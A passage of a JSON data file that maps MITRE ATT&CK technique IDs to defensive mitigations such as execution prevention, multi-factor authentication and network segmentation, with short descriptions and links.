blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1539", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1103", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1192", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1098", "mitigations": [{"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1152", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1128", "mitigations": [{"name": "Netsh Helper DLL Mitigation", "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", "url": ""}]}, {"_id": "T1073", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1067", "mitigations": [{"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": "https://attack.mitre.org/mitigations/M1046"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1183", "mitigations": [{"name": "Image File Execution Options Injection Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1140", "mitigations": [{"name": "Deobfuscate/Decode Files or Information Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1168", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1146", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Environment Variable Permissions", "description": "Prevent modification of environment variables by unauthorized users and groups.", "url": "https://attack.mitre.org/mitigations/M1039"}]}, {"_id": "T1030", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1217", "mitigations": [{"name": "Browser Bookmark Discovery Mitigation", "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1190", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1049", "mitigations": [{"name": "System Network Connections Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1514", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1172", "mitigations": [{"name": "SSL/TLS Inspection", "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", "url": "https://attack.mitre.org/mitigations/M1020"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1518", "mitigations": []}, {"_id": "T1528", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1056", "mitigations": [{"name": "Input Capture Mitigation", "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1111", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1159", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1024", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1201", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1014", "mitigations": [{"name": "Rootkit Mitigation", "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1021", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1215", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1189", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1492", "mitigations": [{"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1142", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1115", "mitigations": [{"name": "Clipboard Data Mitigation", "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1046", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1119", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}]}, {"_id": "T1170", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1214", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1212", "mitigations": [{"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1125", "mitigations": [{"name": "Video Capture Mitigation", "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.", "url": ""}]}, {"_id": "T1538", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1035", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1016", "mitigations": [{"name": "System Network Configuration Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1161", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1019", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": "https://attack.mitre.org/mitigations/M1046"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1186", "mitigations": [{"name": "Process Doppelg\u00e4nging Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1057", "mitigations": [{"name": "Process Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1069", "mitigations": [{"name": "Permission Groups Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1197", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1134", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1091", "mitigations": [{"name": "Limit Hardware Installation", "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", "url": "https://attack.mitre.org/mitigations/M1034"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1013", "mitigations": [{"name": "Port Monitors Mitigation", "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", "url": ""}]}, {"_id": "T1171", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1133", "mitigations": [{"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1076", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1122", "mitigations": [{"name": "Component Object Model Hijacking Mitigation", "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.", "url": ""}]}, {"_id": "T1164", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1494", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1210", "mitigations": [{"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}]}, {"_id": "T1033", "mitigations": [{"name": "System Owner/User Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1505", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1047", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1008", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1034", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1135", "mitigations": [{"name": "Network Share Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1483", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}]}, {"_id": "T1009", "mitigations": [{"name": "Binary Padding Mitigation", "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1195", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}]}, {"_id": "T1211", "mitigations": [{"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1099", "mitigations": [{"name": "Timestomp Mitigation", "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1143", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1222", "mitigations": [{"name": "File Permissions Modification Mitigation", "description": "This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse 